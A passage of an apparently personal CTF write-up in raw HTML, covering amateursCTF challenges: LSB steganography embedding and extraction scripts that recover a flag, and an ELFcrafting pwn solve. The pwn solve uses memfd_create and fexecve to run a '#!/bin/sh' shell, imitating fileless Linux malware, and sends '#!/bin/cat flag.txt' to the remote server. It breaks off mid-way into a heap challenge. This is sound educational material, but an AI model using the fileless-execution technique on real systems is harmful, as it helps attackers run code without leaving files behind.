data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">pdftohtml flag.pdf</code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 943px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/ec8baeea4cc81e11dbf43ea9bde95f3d/146da/image-20230718003722652.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 77.5%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAABBUlEQVQ4y2P4/eP//6Onz/93jS3675VY9t8rueK/NxA7RRf8z6zt///x06f/r968/f/67Tuc+NXrt/+//wAaBAQMIGLDtl3/GYSU/jOIq/9nEFODYFHV/8ySmv/5VYz/8ykb4cRC6qb/GURU/i9dswnJwK1AAwUVUQwDY6BCsEX4MEg9o/D/ecvWYLqQEWYgEmYUVwOLY8VAOVYprf8MbOL/F6xYh2agoBKGYcRgFmCwMLCK/Z+/fC0tDdyKZiAsDInAuF0ICkNxMlwopQkOw/krkAzctnv/fyE10//i2pb/xbRIw1K6Nv/ZpLX/r1i/hYhkQwRmxudl8iNFnNaxPGogJQYCAI1zPxH4C8TkAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/ec8baeea4cc81e11dbf43ea9bde95f3d/8ac56/image-20230718003722652.webp 240w,\n/static/ec8baeea4cc81e11dbf43ea9bde95f3d/d3be9/image-20230718003722652.webp 480w,\n/static/ec8baeea4cc81e11dbf43ea9bde95f3d/18615/image-20230718003722652.webp 943w\"\n              sizes=\"(max-width: 943px) 100vw, 943px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/ec8baeea4cc81e11dbf43ea9bde95f3d/8ff5a/image-20230718003722652.png 240w,\n/static/ec8baeea4cc81e11dbf43ea9bde95f3d/e85cb/image-20230718003722652.png 480w,\n/static/ec8baeea4cc81e11dbf43ea9bde95f3d/146da/image-20230718003722652.png 943w\"\n            sizes=\"(max-width: 943px) 100vw, 943px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/ec8baeea4cc81e11dbf43ea9bde95f3d/146da/image-20230718003722652.png\"\n            alt=\"image-20230718003722652\"\n            title=\"image-20230718003722652\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"rules-icebergforensic\" style=\"position:relative;\"><a href=\"#rules-icebergforensic\" aria-label=\"rules icebergforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>rules-iceberg(Forensic)</h2>\n<blockquote>\n<p>So apparently larry leaked this challenge already. Due to high demand for rules-iceberg stego and server profile picture discord stego, I’ve decided to release the challenge anyways.</p>\n</blockquote>\n<p>We are given the image with the embedded string, the original image, and the following script that was used to embed the text.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> PIL <span class=\"token keyword\">import</span> Image\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">encode_lsb</span><span class=\"token punctuation\">(</span>image_path<span class=\"token punctuation\">,</span> message<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token comment\"># Open the image</span>\n    image <span class=\"token operator\">=</span> Image<span class=\"token punctuation\">.</span><span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>image_path<span class=\"token punctuation\">)</span>\n    pixels <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>load<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># Check if the message can fit within the image</span>\n    <span class=\"token keyword\">if</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>message<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">8</span> <span class=\"token operator\">></span> image<span class=\"token punctuation\">.</span>width <span class=\"token operator\">*</span> image<span class=\"token punctuation\">.</span>height<span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">raise</span> ValueError<span class=\"token punctuation\">(</span><span class=\"token string\">\"Message is too long to fit within the image.\"</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># Convert the message to binary</span>\n    binary_message <span class=\"token operator\">=</span> <span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>char<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'08b'</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> char <span class=\"token keyword\">in</span> message<span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># Embed the message into the image</span>\n    char_index <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n    <span class=\"token keyword\">for</span> y <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>image<span class=\"token punctuation\">.</span>height<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">for</span> x <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>image<span class=\"token punctuation\">.</span>width<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            r<span class=\"token punctuation\">,</span> g<span class=\"token punctuation\">,</span> b<span class=\"token punctuation\">,</span> a <span class=\"token operator\">=</span> pixels<span class=\"token punctuation\">[</span>x<span class=\"token punctuation\">,</span> y<span class=\"token punctuation\">]</span>\n\n            <span class=\"token keyword\">if</span> char_index <span class=\"token operator\">&lt;</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>binary_message<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n                <span class=\"token comment\"># Modify the second least significant bit of the red channel</span>\n                <span class=\"token comment\"># only if red is greater than green and blue</span>\n                <span class=\"token keyword\">if</span> r <span class=\"token operator\">></span> g <span class=\"token keyword\">and</span> r <span class=\"token operator\">></span> b<span class=\"token punctuation\">:</span>\n                    r <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFD</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>binary_message<span class=\"token punctuation\">[</span>char_index<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n                    char_index <span class=\"token operator\">+=</span> <span class=\"token number\">1</span>\n\n            pixels<span class=\"token punctuation\">[</span>x<span class=\"token punctuation\">,</span> y<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">,</span> g<span class=\"token punctuation\">,</span> b<span class=\"token punctuation\">,</span> a<span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># Save the modified image</span>\n    encoded_image_path <span class=\"token operator\">=</span> <span class=\"token string-interpolation\"><span class=\"token string\">f\"new-</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>image_path<span class=\"token punctuation\">}</span></span><span class=\"token string\">\"</span></span>\n    image<span class=\"token punctuation\">.</span>save<span class=\"token punctuation\">(</span>encoded_image_path<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Message encoded successfully in the image:\"</span><span class=\"token punctuation\">,</span> encoded_image_path<span class=\"token punctuation\">)</span>\n\n\n<span class=\"token comment\"># Example usage</span>\n<span class=\"token comment\"># image_path = \"rules-iceberg.png\"</span>\nimage_path <span class=\"token operator\">=</span> <span class=\"token string\">\"tmp.png\"</span>\n\n<span class=\"token comment\"># extract flag from flag.txt</span>\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"flag.txt\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"r\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    flag <span class=\"token operator\">=</span> f<span class=\"token punctuation\">.</span>read<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>strip<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># assert len(flag) == 54</span>\n\nencode_lsb<span class=\"token punctuation\">(</span>image_path<span class=\"token punctuation\">,</span> flag<span class=\"token punctuation\">)</span></code></pre></div>\n<p>This was an application of LSB steganography: a script that embeds the flag bits into the second least significant bit of <code class=\"language-text\">r</code> for pixels where the <code class=\"language-text\">r</code> value is larger than both <code class=\"language-text\">g</code> and <code class=\"language-text\">b</code>.</p>\n<p>In the image after embedding, the <code class=\"language-text\">r</code> values themselves have changed, so you can no longer tell which pixels had bits embedded just by looking at that image alone. That makes the original image the key.</p>\n<p>So by comparing the original image’s pixel data and extracting bits from the post-embedding image, I was able to recover the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> PIL <span class=\"token keyword\">import</span> Image\n\n<span class=\"token comment\"># Example usage</span>\nimage_path <span class=\"token operator\">=</span> <span class=\"token string\">\"new-rules-iceberg.png\"</span>\nimage <span class=\"token operator\">=</span> Image<span class=\"token punctuation\">.</span><span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>image_path<span class=\"token punctuation\">)</span>\nnew_pixels <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>load<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\nimage_path <span class=\"token operator\">=</span> <span class=\"token string\">\"rules-iceberg.png\"</span>\nimage <span class=\"token operator\">=</span> Image<span class=\"token punctuation\">.</span><span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>image_path<span class=\"token punctuation\">)</span>\npixels <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>load<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nbinary_message <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n<span class=\"token keyword\">for</span> y <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>image<span class=\"token punctuation\">.</span>height<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> x <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span>image<span class=\"token punctuation\">.</span>width<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        r<span class=\"token punctuation\">,</span> g<span class=\"token punctuation\">,</span> b<span class=\"token punctuation\">,</span> a <span class=\"token operator\">=</span> new_pixels<span class=\"token punctuation\">[</span>x<span class=\"token punctuation\">,</span> y<span class=\"token punctuation\">]</span>\n        rd<span class=\"token punctuation\">,</span> gd<span class=\"token punctuation\">,</span> bd<span class=\"token punctuation\">,</span> ad <span class=\"token operator\">=</span> pixels<span class=\"token punctuation\">[</span>x<span class=\"token punctuation\">,</span> y<span class=\"token punctuation\">]</span>\n\n        <span class=\"token keyword\">if</span> rd <span class=\"token operator\">></span> gd <span class=\"token keyword\">and</span> rd <span class=\"token operator\">></span> bd<span class=\"token punctuation\">:</span>\n            binary_message <span class=\"token operator\">+=</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r <span class=\"token operator\">>></span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0x1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\ntext_message <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>binary_message<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    char <span class=\"token operator\">=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>binary_message<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">:</span>i<span class=\"token operator\">+</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    text_message <span class=\"token operator\">+=</span> char\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>text_message<span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># amateursCTF{3v3ry0n3_d3f1n1t3ly_l0v3s_st3g0_mhmhmhmhm}</span></code></pre></div>\n<h2 id=\"elfcrafting-v1pwn\" style=\"position:relative;\"><a href=\"#elfcrafting-v1pwn\" aria-label=\"elfcrafting v1pwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ELFcrafting-v1(Pwn)</h2>\n<blockquote>\n<p>How well do you understand the ELF file format?</p>\n</blockquote>\n<p>Looking at the challenge binary, it obtains a file descriptor for an anonymous file (one that lives in RAM and can be treated like a regular file) created by <code class=\"language-text\">memfd_create</code>, writes 32 bytes of arbitrary data into it, and then executes it with <code class=\"language-text\">fexecve</code>.</p>\n<p>This seems to be imitating fileless malware on Linux.</p>\n<p>Reference: <a href=\"https://ipsj.ixsq.nii.ac.jp/ej/?action=repository_uri&#x26;item_id=192180&#x26;file_id=1&#x26;file_no=1\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Countermeasures against Fileless Malware on Linux</a></p>\n<p>However, unlike a real sample, the amount of data you can write into the anonymous file in this challenge is limited to 32 bytes.</p>\n<p>That means it is physically impossible to write a full ELF file, so you cannot execute one via <code class=\"language-text\">fexecve</code>.</p>\n<p>However, <code class=\"language-text\">fexecve</code> can execute not only ELF files, but also shebang-based shell commands.</p>\n<p>I verified this locally by creating the following sample.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">_GNU_SOURCE</span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">_POSIX_C_SOURCE</span> <span class=\"token expression\"><span class=\"token number\">200809L</span></span></span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;sys/types.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;sys/mman.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;sys/wait.h></span></span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;unistd.h></span></span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;err.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;errno.h></span></span>\n\n<span class=\"token class-name\">size_t</span> <span class=\"token function\">min</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">size_t</span> x<span class=\"token punctuation\">,</span> <span class=\"token class-name\">size_t</span> y<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> x <span class=\"token operator\">></span> y <span class=\"token operator\">?</span> y <span class=\"token operator\">:</span> x<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">/**\n * @param len != 0\n */</span>\n<span class=\"token keyword\">void</span> <span class=\"token function\">fdput</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> fd<span class=\"token punctuation\">,</span> <span class=\"token keyword\">const</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>str<span class=\"token punctuation\">,</span> <span class=\"token class-name\">size_t</span> len<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token class-name\">size_t</span> cnt <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">do</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token class-name\">ssize_t</span> result <span class=\"token operator\">=</span> <span class=\"token function\">write</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">,</span> str <span class=\"token operator\">+</span> cnt<span class=\"token punctuation\">,</span> <span class=\"token function\">min</span><span class=\"token punctuation\">(</span>len <span class=\"token operator\">-</span> cnt<span class=\"token punctuation\">,</span> <span class=\"token number\">0x7ffff000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>result <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>errno <span class=\"token operator\">==</span> EINTR<span class=\"token punctuation\">)</span>\n                <span class=\"token keyword\">continue</span><span class=\"token punctuation\">;</span>\n            <span class=\"token function\">err</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"%s failed\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"write\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        cnt <span class=\"token operator\">+=</span> result<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>cnt <span class=\"token operator\">!=</span> len<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name function\">fdputc</span><span class=\"token expression\"><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">,</span> constant_str<span class=\"token punctuation\">)</span> <span class=\"token function\">fdput</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span>constant_str<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">sizeof</span><span class=\"token punctuation\">(</span>constant_str<span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span></span></span>\n\n<span class=\"token keyword\">int</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> argc<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span> argv<span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">int</span> fd <span class=\"token operator\">=</span> <span class=\"token function\">memfd_create</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"script\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>fd <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n        <span class=\"token function\">err</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"%s failed\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"memfd_create\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token function\">fdputc</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">,</span> <span class=\"token string\">\"#!/bin/sh\\n/bin/sh\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token class-name\">pid_t</span> pid <span class=\"token operator\">=</span> <span class=\"token function\">fork</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>pid <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">const</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span> <span class=\"token keyword\">const</span> argv<span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token string\">\"script\"</span><span class=\"token punctuation\">,</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">const</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span> <span class=\"token keyword\">const</span> envp<span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token constant\">NULL</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n        <span class=\"token function\">fexecve</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span> <span class=\"token keyword\">const</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span> argv<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span> <span class=\"token keyword\">const</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span> envp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n        <span class=\"token function\">err</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"%s failed\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"fexecve\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>pid <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n        <span class=\"token function\">err</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"%s failed\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"fork\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token function\">wait</span><span class=\"token punctuation\">(</span><span class=\"token constant\">NULL</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>I thought that would be enough, but for some reason <code class=\"language-text\">/bin/sh</code> did not work on the remote server.</p>\n<p>So instead, I sent the following command and got the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token string\">\"#!/bin/cat flag.txt\"</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 622px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/094fc5d6ba5e52d0fe4c65a6d2da38b3/604ec/image-20230721053732664.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 28.750000000000004%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJ0lEQVQY0z2Q/0+CUBTF+cVMy63WLE2zFNRpCA8QAvdAZHxxoiIa2KTV1vr//4YO6trO7t7bO+fez33M8tWJib/inUh0w6Edy8FeX6Vvy0QLU315oJtI9IIu9VgDFWZU6apLyhwpd5lEDTNz63PUbqn2k2o1x7OWZtwL0+YYV7dj6Hf8qNgWSqxYYvPDZeeYzMUkxyFovyHeVpkvBjatS+rNgC88jy7afOFFKMLNntzisQV0DqdauBbcr1kCBMBv5QDMmCaVOeCdlMfygax83VMqfbnSO4d/g+xgxu/jBeA/rd3eWIPi20k/JlFmxom6wNOPf8Brqq82xN8pc6wDfjRlsJvVULTbIeq0odCaZFQF61GmNWLWJfpAJlXBbmn4CBiwMPSP/QfjR0a64AkbaAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/094fc5d6ba5e52d0fe4c65a6d2da38b3/8ac56/image-20230721053732664.webp 240w,\n/static/094fc5d6ba5e52d0fe4c65a6d2da38b3/d3be9/image-20230721053732664.webp 480w,\n/static/094fc5d6ba5e52d0fe4c65a6d2da38b3/5bf66/image-20230721053732664.webp 622w\"\n              sizes=\"(max-width: 622px) 100vw, 622px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/094fc5d6ba5e52d0fe4c65a6d2da38b3/8ff5a/image-20230721053732664.png 240w,\n/static/094fc5d6ba5e52d0fe4c65a6d2da38b3/e85cb/image-20230721053732664.png 480w,\n/static/094fc5d6ba5e52d0fe4c65a6d2da38b3/604ec/image-20230721053732664.png 622w\"\n            sizes=\"(max-width: 622px) 100vw, 622px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/094fc5d6ba5e52d0fe4c65a6d2da38b3/604ec/image-20230721053732664.png\"\n            alt=\"image-20230721053732664\"\n            title=\"image-20230721053732664\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"simple-heap-v1pwn\" style=\"position:relative;\"><a href=\"#simple-heap-v1pwn\" aria-label=\"simple heap v1pwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>simple-heap-v1(Pwn)</h2>\n<blockquote>\n<p>Nothing to see here. Just a regular heap chall.</p>\n<p>nc amt.rs 31176</p>\n<p>Note: flag format is not the normal one</p>\n</blockquote>\n<p>With help from a teammate, I solved one Pwn challenge.</p>\n<p>You can arbitrarily overwrite only a single byte starting from a specific chunk.</p>\n<p>The chunk where the flag is written 